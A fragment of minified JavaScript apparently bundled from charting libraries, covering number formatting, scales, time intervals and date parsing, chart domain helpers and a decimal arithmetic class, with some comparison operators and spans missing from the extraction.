P=w==="$"?n:w==="#"&&/[boxX]/.test(M)?"0"+M.toLowerCase():"",R=w==="$"?r:/[%p]/.test(M)?c:"",I=oN[M],B=/[defgprs%]/.test(M);T=T===void 0?6:/[gprs]/.test(M)?Math.max(1,Math.min(21,T)):Math.max(0,Math.min(20,T));function q(U){var V=P,oe=R,le,ce,L;if(M==="c")oe=I(U)+oe,U="";else{U=+U;var F=U<0||1/U<0;if(U=isNaN(U)?f:I(Math.abs(U),T),j&&(U=YW(U)),F&&+U==0&&S!=="+"&&(F=!1),V=(F?S==="("?S:u:S==="-"||S==="("?"":S)+V,oe=(M==="s"?cN[8+qD/3]:"")+oe+(F&&S==="("?")":""),B){for(le=-1,ce=U.length;++leL||L>57){oe=(L===46?i+U.slice(le+1):U.slice(le))+oe,U=U.slice(0,le);break}}}_&&!O&&(U=t(U,1/0));var $=V.length+U.length+oe.length,Z=$>1)+V+U+oe+Z.slice($);break;default:U=Z+V+U+oe;break}return l(U)}return q.toString=function(){return m+""},q}function p(m,y){var x=h((m=Lc(m),m.type="f",m)),S=Math.max(-8,Math.min(8,Math.floor(Ll(y)/3)))*3,w=Math.pow(10,-S),O=cN[8+S/3];return function(A){return x(w*A)+O}}return{format:h,formatPrefix:p}}var rd,kx,FD;XW({thousands:",",grouping:[3],currency:["$",""]});function XW(e){return rd=WW(e),kx=rd.format,FD=rd.formatPrefix,rd}function ZW(e){return Math.max(0,-Ll(Math.abs(e)))}function QW(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ll(t)/3)))*3-Ll(Math.abs(e)))}function JW(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ll(t)-Ll(e))+1}function VD(e,t,n,r){var i=nb(e,t,n),l;switch(r=Lc(r??",f"),r.type){case"s":{var c=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(l=QW(i,c))&&(r.precision=l),FD(r,c)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(l=JW(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=l-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(l=ZW(i))&&(r.precision=l-(r.type==="%")*2);break}}return kx(r)}function _i(e){var t=e.domain;return e.ticks=function(n){var r=t();return eb(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return VD(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,l=r.length-1,c=r[i],u=r[l],f,h,p=10;for(u0;){if(h=tb(c,u,n),h===f)return r[i]=c,r[l]=u,t(r);if(h>0)c=Math.floor(c/h)*h,u=Math.ceil(u/h)*h;else if(h<0)c=Math.ceil(c*h)/h,u=Math.floor(u*h)/h;else break;f=h}return e},e}function KD(){var e=Rx();return e.copy=function(){return ru(e,KD())},pr.apply(e,arguments),_i(e)}function YD(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,nh),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return YD(e).unknown(t)},e=arguments.length?Array.from(e,nh):[0,1],_i(n)}function GD(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],l=e[r],c;return lMath.pow(e,t)}function aX(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function dN(e){return(t,n)=>-e(-t,n)}function Lx(e){const t=e(uN,fN),n=t.domain;let r=10,i,l;function c(){return i=aX(r),l=rX(r),n()[0]<0?(i=dN(i),l=dN(l),e(eX,tX)):e(uN,fN),t}return t.base=function(u){return arguments.length?(r=+u,c()):r},t.domain=function(u){return arguments.length?(n(u),c()):n()},t.ticks=u=>{const f=n();let h=f[0],p=f[f.length-1];const m=p0){for(;y<=x;++y)for(S=1;Sp)break;A.push(w)}}else for(;y<=x;++y)for(S=r-1;S>=1;--S)if(w=y>0?S/l(-y):S*l(y),!(wp)break;A.push(w)}A.length*2{if(u==null&&(u=10),f==null&&(f=r===10?"s":","),typeof f!="function"&&(!(r%1)&&(f=Lc(f)).precision==null&&(f.trim=!0),f=kx(f)),u===1/0)return f;const h=Math.max(1,r*u/t.ticks().length);return p=>{let m=p/l(Math.round(i(p)));return m*rn(GD(n(),{floor:u=>l(Math.floor(i(u))),ceil:u=>l(Math.ceil(i(u)))})),t}function WD(){const e=Lx(yp()).domain([1,10]);return e.copy=()=>ru(e,WD()).base(e.base()),pr.apply(e,arguments),e}function hN(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function pN(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Ix(e){var t=1,n=e(hN(t),pN(t));return n.constant=function(r){return arguments.length?e(hN(t=+r),pN(t)):t},_i(n)}function XD(){var e=Ix(yp());return e.copy=function(){return ru(e,XD()).constant(e.constant())},pr.apply(e,arguments)}function mN(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function iX(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function oX(e){return e<0?-e*e:e*e}function zx(e){var t=e(un,un),n=1;function r(){return n===1?e(un,un):n===.5?e(iX,oX):e(mN(n),mN(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},_i(t)}function $x(){var e=zx(yp());return e.copy=function(){return ru(e,$x()).exponent(e.exponent())},pr.apply(e,arguments),e}function lX(){return $x.apply(null,arguments).exponent(.5)}function vN(e){return Math.sign(e)*e*e}function sX(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function ZD(){var e=Rx(),t=[0,1],n=!1,r;function i(l){var c=sX(e(l));return isNaN(c)?r:n?Math.round(c):c}return i.invert=function(l){return e.invert(vN(l))},i.domain=function(l){return arguments.length?(e.domain(l),i):e.domain()},i.range=function(l){return arguments.length?(e.range((t=Array.from(l,nh)).map(vN)),i):t.slice()},i.rangeRound=function(l){return i.range(l).round(!0)},i.round=function(l){return arguments.length?(n=!!l,i):n},i.clamp=function(l){return arguments.length?(e.clamp(l),i):e.clamp()},i.unknown=function(l){return arguments.length?(r=l,i):r},i.copy=function(){return ZD(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},pr.apply(i,arguments),_i(i)}function QD(){var e=[],t=[],n=[],r;function i(){var c=0,u=Math.max(1,t.length);for(n=new Array(u-1);++c0?n[u-1]:e[0],u=n?[r[n-1],t]:[r[h-1],r[h]]},c.unknown=function(f){return arguments.length&&(l=f),c},c.thresholds=function(){return r.slice()},c.copy=function(){return JD().domain([e,t]).range(i).unknown(l)},pr.apply(_i(c),arguments)}function ek(){var e=[.5],t=[0,1],n,r=1;function i(l){return l!=null&&l<=l?t[tu(e,l,0,r)]:n}return i.domain=function(l){return arguments.length?(e=Array.from(l),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(l){return arguments.length?(t=Array.from(l),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(l){var c=t.indexOf(l);return[e[c-1],e[c]]},i.unknown=function(l){return arguments.length?(n=l,i):n},i.copy=function(){return ek().domain(e).range(t).unknown(n)},pr.apply(i,arguments)}const Iy=new Date,zy=new Date;function Lt(e,t,n,r){function i(l){return e(l=arguments.length===0?new Date:new Date(+l)),l}return i.floor=l=>(e(l=new Date(+l)),l),i.ceil=l=>(e(l=new Date(l-1)),t(l,1),e(l),l),i.round=l=>{const c=i(l),u=i.ceil(l);return l-c(t(l=new Date(+l),c==null?1:Math.floor(c)),l),i.range=(l,c,u)=>{const f=[];if(l=i.ceil(l),u=u==null?1:Math.floor(u),!(l0))return f;let h;do f.push(h=new Date(+l)),t(l,u),e(l);while(hLt(c=>{if(c>=c)for(;e(c),!l(c);)c.setTime(c-1)},(c,u)=>{if(c>=c)if(u<0)for(;++u<=0;)for(;t(c,-1),!l(c););else for(;--u>=0;)for(;t(c,1),!l(c););}),n&&(i.count=(l,c)=>(Iy.setTime(+l),zy.setTime(+c),e(Iy),e(zy),Math.floor(n(Iy,zy))),i.every=l=>(l=Math.floor(l),!isFinite(l)||!(l>0)?null:l>1?i.filter(r?c=>r(c)%l===0:c=>i.count(0,c)%l===0):i)),i}const ah=Lt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);ah.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?Lt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):ah);ah.range;const ya=1e3,lr=ya*60,ba=lr*60,Ca=ba*24,Bx=Ca*7,gN=Ca*30,$y=Ca*365,Ji=Lt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*ya)},(e,t)=>(t-e)/ya,e=>e.getUTCSeconds());Ji.range;const Ux=Lt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*ya)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getMinutes());Ux.range;const Hx=Lt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getUTCMinutes());Hx.range;const qx=Lt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*ya-e.getMinutes()*lr)},(e,t)=>{e.setTime(+e+t*ba)},(e,t)=>(t-e)/ba,e=>e.getHours());qx.range;const Fx=Lt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*ba)},(e,t)=>(t-e)/ba,e=>e.getUTCHours());Fx.range;const au=Lt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*lr)/Ca,e=>e.getDate()-1);au.range;const bp=Lt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ca,e=>e.getUTCDate()-1);bp.range;const tk=Lt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ca,e=>Math.floor(e/Ca));tk.range;function Oo(e){return Lt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*lr)/Bx)}const xp=Oo(0),ih=Oo(1),cX=Oo(2),uX=Oo(3),Il=Oo(4),fX=Oo(5),dX=Oo(6);xp.range;ih.range;cX.range;uX.range;Il.range;fX.range;dX.range;function Eo(e){return Lt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/Bx)}const wp=Eo(0),oh=Eo(1),hX=Eo(2),pX=Eo(3),zl=Eo(4),mX=Eo(5),vX=Eo(6);wp.range;oh.range;hX.range;pX.range;zl.range;mX.range;vX.range;const Vx=Lt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());Vx.range;const Kx=Lt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());Kx.range;const _a=Lt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());_a.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:Lt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});_a.range;const Ta=Lt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Ta.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:Lt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Ta.range;function nk(e,t,n,r,i,l){const c=[[Ji,1,ya],[Ji,5,5*ya],[Ji,15,15*ya],[Ji,30,30*ya],[l,1,lr],[l,5,5*lr],[l,15,15*lr],[l,30,30*lr],[i,1,ba],[i,3,3*ba],[i,6,6*ba],[i,12,12*ba],[r,1,Ca],[r,2,2*Ca],[n,1,Bx],[t,1,gN],[t,3,3*gN],[e,1,$y]];function u(h,p,m){const y=pO).right(c,y);if(x===c.length)return e.every(nb(h/$y,p/$y,m));if(x===0)return ah.every(Math.max(nb(h,p,m),1));const[S,w]=c[y/c[x-1][2]53)return null;"w"in ne||(ne.w=1),"Z"in ne?(je=Uy(sc(ne.y,0,1)),bt=je.getUTCDay(),je=bt>4||bt===0?oh.ceil(je):oh(je),je=bp.offset(je,(ne.V-1)*7),ne.y=je.getUTCFullYear(),ne.m=je.getUTCMonth(),ne.d=je.getUTCDate()+(ne.w+6)%7):(je=By(sc(ne.y,0,1)),bt=je.getDay(),je=bt>4||bt===0?ih.ceil(je):ih(je),je=au.offset(je,(ne.V-1)*7),ne.y=je.getFullYear(),ne.m=je.getMonth(),ne.d=je.getDate()+(ne.w+6)%7)}else("W"in ne||"U"in ne)&&("w"in ne||(ne.w="u"in ne?ne.u%7:"W"in ne?1:0),bt="Z"in ne?Uy(sc(ne.y,0,1)).getUTCDay():By(sc(ne.y,0,1)).getDay(),ne.m=0,ne.d="W"in ne?(ne.w+6)%7+ne.W*7-(bt+5)%7:ne.w+ne.U*7-(bt+6)%7);return"Z"in ne?(ne.H+=ne.Z/100|0,ne.M+=ne.Z%100,Uy(ne)):By(ne)}}function I(Q,fe,he,ne){for(var Ke=0,je=fe.length,bt=he.length,xt,Cn;Ke=bt)return-1;if(xt=fe.charCodeAt(Ke++),xt===37){if(xt=fe.charAt(Ke++),Cn=M[xt in yN?fe.charAt(Ke++):xt],!Cn||(ne=Cn(Q,he,ne))<0)return-1}else if(xt!=he.charCodeAt(ne++))return-1}return ne}function B(Q,fe,he){var ne=h.exec(fe.slice(he));return ne?(Q.p=p.get(ne[0].toLowerCase()),he+ne[0].length):-1}function q(Q,fe,he){var ne=x.exec(fe.slice(he));return ne?(Q.w=S.get(ne[0].toLowerCase()),he+ne[0].length):-1}function U(Q,fe,he){var ne=m.exec(fe.slice(he));return ne?(Q.w=y.get(ne[0].toLowerCase()),he+ne[0].length):-1}function V(Q,fe,he){var ne=A.exec(fe.slice(he));return ne?(Q.m=_.get(ne[0].toLowerCase()),he+ne[0].length):-1}function oe(Q,fe,he){var ne=w.exec(fe.slice(he));return ne?(Q.m=O.get(ne[0].toLowerCase()),he+ne[0].length):-1}function le(Q,fe,he){return I(Q,t,fe,he)}function ce(Q,fe,he){return I(Q,n,fe,he)}function L(Q,fe,he){return I(Q,r,fe,he)}function F(Q){return c[Q.getDay()]}function $(Q){return l[Q.getDay()]}function Z(Q){return f[Q.getMonth()]}function de(Q){return u[Q.getMonth()]}function D(Q){return i[+(Q.getHours()>=12)]}function X(Q){return 1+~~(Q.getMonth()/3)}function ae(Q){return c[Q.getUTCDay()]}function se(Q){return l[Q.getUTCDay()]}function me(Q){return f[Q.getUTCMonth()]}function xe(Q){return u[Q.getUTCMonth()]}function ee(Q){return i[+(Q.getUTCHours()>=12)]}function _e(Q){return 1+~~(Q.getUTCMonth()/3)}return{format:function(Q){var fe=P(Q+="",T);return fe.toString=function(){return Q},fe},parse:function(Q){var fe=R(Q+="",!1);return fe.toString=function(){return Q},fe},utcFormat:function(Q){var fe=P(Q+="",j);return fe.toString=function(){return Q},fe},utcParse:function(Q){var fe=R(Q+="",!0);return fe.toString=function(){return Q},fe}}}var yN={"-":"",_:" ",0:"0"},Kt=/^\s*\d+/,SX=/^%/,OX=/[\\^$*+?|[\]().{}]/g;function qe(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",l=i.length;return r+(l[t.toLowerCase(),n]))}function AX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function CX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function _X(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function TX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function NX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function bN(e,t,n){var r=Kt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function xN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function MX(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function jX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function PX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function wN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function RX(e,t,n){var r=Kt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function SN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function DX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function kX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function LX(e,t,n){var r=Kt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function IX(e,t,n){var r=Kt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function zX(e,t,n){var r=SX.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function $X(e,t,n){var r=Kt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function BX(e,t,n){var r=Kt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function ON(e,t){return qe(e.getDate(),t,2)}function UX(e,t){return qe(e.getHours(),t,2)}function HX(e,t){return qe(e.getHours()%12||12,t,2)}function qX(e,t){return qe(1+au.count(_a(e),e),t,3)}function rk(e,t){return qe(e.getMilliseconds(),t,3)}function FX(e,t){return rk(e,t)+"000"}function VX(e,t){return qe(e.getMonth()+1,t,2)}function KX(e,t){return qe(e.getMinutes(),t,2)}function YX(e,t){return qe(e.getSeconds(),t,2)}function GX(e){var t=e.getDay();return t===0?7:t}function WX(e,t){return qe(xp.count(_a(e)-1,e),t,2)}function ak(e){var t=e.getDay();return t>=4||t===0?Il(e):Il.ceil(e)}function XX(e,t){return e=ak(e),qe(Il.count(_a(e),e)+(_a(e).getDay()===4),t,2)}function ZX(e){return e.getDay()}function QX(e,t){return qe(ih.count(_a(e)-1,e),t,2)}function JX(e,t){return qe(e.getFullYear()%100,t,2)}function eZ(e,t){return e=ak(e),qe(e.getFullYear()%100,t,2)}function tZ(e,t){return qe(e.getFullYear()%1e4,t,4)}function nZ(e,t){var n=e.getDay();return e=n>=4||n===0?Il(e):Il.ceil(e),qe(e.getFullYear()%1e4,t,4)}function rZ(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+qe(t/60|0,"0",2)+qe(t%60,"0",2)}function EN(e,t){return qe(e.getUTCDate(),t,2)}function aZ(e,t){return qe(e.getUTCHours(),t,2)}function iZ(e,t){return qe(e.getUTCHours()%12||12,t,2)}function oZ(e,t){return qe(1+bp.count(Ta(e),e),t,3)}function ik(e,t){return qe(e.getUTCMilliseconds(),t,3)}function lZ(e,t){return ik(e,t)+"000"}function sZ(e,t){return qe(e.getUTCMonth()+1,t,2)}function cZ(e,t){return qe(e.getUTCMinutes(),t,2)}function uZ(e,t){return qe(e.getUTCSeconds(),t,2)}function fZ(e){var t=e.getUTCDay();return t===0?7:t}function dZ(e,t){return qe(wp.count(Ta(e)-1,e),t,2)}function ok(e){var t=e.getUTCDay();return t>=4||t===0?zl(e):zl.ceil(e)}function hZ(e,t){return e=ok(e),qe(zl.count(Ta(e),e)+(Ta(e).getUTCDay()===4),t,2)}function pZ(e){return e.getUTCDay()}function mZ(e,t){return qe(oh.count(Ta(e)-1,e),t,2)}function vZ(e,t){return qe(e.getUTCFullYear()%100,t,2)}function gZ(e,t){return e=ok(e),qe(e.getUTCFullYear()%100,t,2)}function yZ(e,t){return qe(e.getUTCFullYear()%1e4,t,4)}function bZ(e,t){var n=e.getUTCDay();return e=n>=4||n===0?zl(e):zl.ceil(e),qe(e.getUTCFullYear()%1e4,t,4)}function xZ(){return"+0000"}function AN(){return"%"}function CN(e){return+e}function _N(e){return Math.floor(+e/1e3)}var bl,lk,sk;wZ({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function wZ(e){return bl=wX(e),lk=bl.format,bl.parse,sk=bl.utcFormat,bl.utcParse,bl}function SZ(e){return new Date(e)}function OZ(e){return e instanceof Date?+e:+new Date(+e)}function Yx(e,t,n,r,i,l,c,u,f,h){var p=Rx(),m=p.invert,y=p.domain,x=h(".%L"),S=h(":%S"),w=h("%I:%M"),O=h("%I %p"),A=h("%a %d"),_=h("%b %d"),T=h("%B"),j=h("%Y");function M(P){return(f(P)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,l)=>fW(e,l/r))},n.copy=function(){return dk(t).domain(e)},Da.apply(n,arguments)}function Op(){var e=0,t=.5,n=1,r=1,i,l,c,u,f,h=un,p,m=!1,y;function x(w){return isNaN(w=+w)?y:(w=.5+((w=+p(w))-l)*(r*we.chartData,Ep=G([ka],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),vk=(e,t,n,r)=>r?Ep(e):ka(e),TZ=(e,t,n)=>n?Ep(e):ka(e);function Oi(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ht(t)&&ht(n))return!0}return!1}function TN(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function gk(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,l;if(ht(n))i=n;else if(typeof n=="function")return;if(ht(r))l=r;else if(typeof r=="function")return;var c=[i,l];if(Oi(c))return c}}function NZ(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Oi(r))return TN(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,l]=e,c,u;if(i==="auto")t!=null&&(c=Math.min(...t));else if(Oe(i))c=i;else if(typeof i=="function")try{t!=null&&(c=i(t?.[0]))}catch{}else if(typeof i=="string"&&B_.test(i)){var f=B_.exec(i);if(f==null||f[1]==null||t==null)c=void 0;else{var h=+f[1];c=t[0]-h}}else c=t?.[0];if(l==="auto")t!=null&&(u=Math.max(...t));else if(Oe(l))u=l;else if(typeof l=="function")try{t!=null&&(u=l(t?.[1]))}catch{}else if(typeof l=="string"&&U_.test(l)){var p=U_.exec(l);if(p==null||p[1]==null||t==null)u=void 0;else{var m=+p[1];u=t[1]+m}}else u=t?.[1];var y=[c,u];if(Oi(y))return t==null?y:TN(y,t,n)}}}var Jl=1e9,MZ={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},Zx,ut=!0,dr="[DecimalError] ",no=dr+"Invalid argument: ",Xx=dr+"Exponent out of range: ",es=Math.floor,Xi=Math.pow,jZ=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,$n,qt=1e7,ot=7,yk=9007199254740991,lh=es(yk/ot),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,l=this;if(e=new l.constructor(e),l.s!==e.s)return l.s||-e.s;if(l.e!==e.e)return l.e>e.e^l.s<0?1:-1;for(r=l.d.length,i=e.d.length,t=0,n=re.d[t]^l.s<0?1:-1;return r===i?0:r>i^l.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*ot;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return xa(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return nt(xa(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return Mt(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,l=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq($n))throw Error(dr+"NaN");if(n.s<1)throw Error(dr+(n.s?"NaN":"-Infinity"));return n.eq($n)?new r(0):(ut=!1,t=xa(Ic(n,l),Ic(e,l),l),ut=!0,nt(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?wk(t,e):bk(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(dr+"NaN");return n.s?(ut=!1,t=xa(n,e,0,1).times(e),ut=!0,n.minus(t)):nt(new r(n),i)};pe.naturalExponential=pe.exp=function(){return xk(this)};pe.naturalLogarithm=pe.ln=function(){return Ic(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?bk(t,e):wk(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(no+e);if(t=Mt(i)+1,r=i.d.length-1,n=r*ot+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,l,c,u=this,f=u.constructor;if(u.s<1){if(!u.s)return new f(0);throw Error(dr+"NaN")}for(e=Mt(u),ut=!1,i=Math.sqrt(+u),i==0||i==1/0?(t=Ir(u.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=es((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new f(t)):r=new f(i.toString()),n=f.precision,i=c=n+3;;)if(l=r,r=l.plus(xa(u,l,c+2)).times(.5),Ir(l.d).slice(0,c)===(t=Ir(r.d)).slice(0,c)){if(t=t.slice(c-3,c+1),i==c&&t=="4999"){if(nt(l,n+1,0),l.times(l).eq(u)){r=l;break}}else if(t!="9999")break;c+=4}return ut=!0,nt(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,l,c,u,f,h,p=this,m=p.constructor,y=p.d,x=(e=new m(e)).d;if(!p.s||!e.s)return new m(0);for(e.s*=p.s,n=p.e+e.e,f=y.length,h=x.length,f=0;){for(t=0,i=f+r;i>r;)u=l[i]+x[r]*y[i-r-1]+t,l[i--]=u%qt|0,t=u/qt|0;l[i]=(l[i]+t)%qt|0}for(;!l[--c];)l.pop();return t?++n:l.shift(),e.d=l,e.e=n,ut?nt(e,m.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(Fr(e,0,Jl),t===void 0?t=r.rounding:Fr(t,0,8),nt(n,e+Mt(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=po(r,!0):(Fr(e,0,Jl),t===void 0?t=i.rounding:Fr(t,0,8),r=nt(new i(r),e+1,t),n=po(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,l=i.constructor;return e===void 0?po(i):(Fr(e,0,Jl),t===void 0?t=l.rounding:Fr(t,0,8),r=nt(new l(i),e+Mt(i)+1,t),n=po(r.abs(),!1,e+Mt(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return nt(new 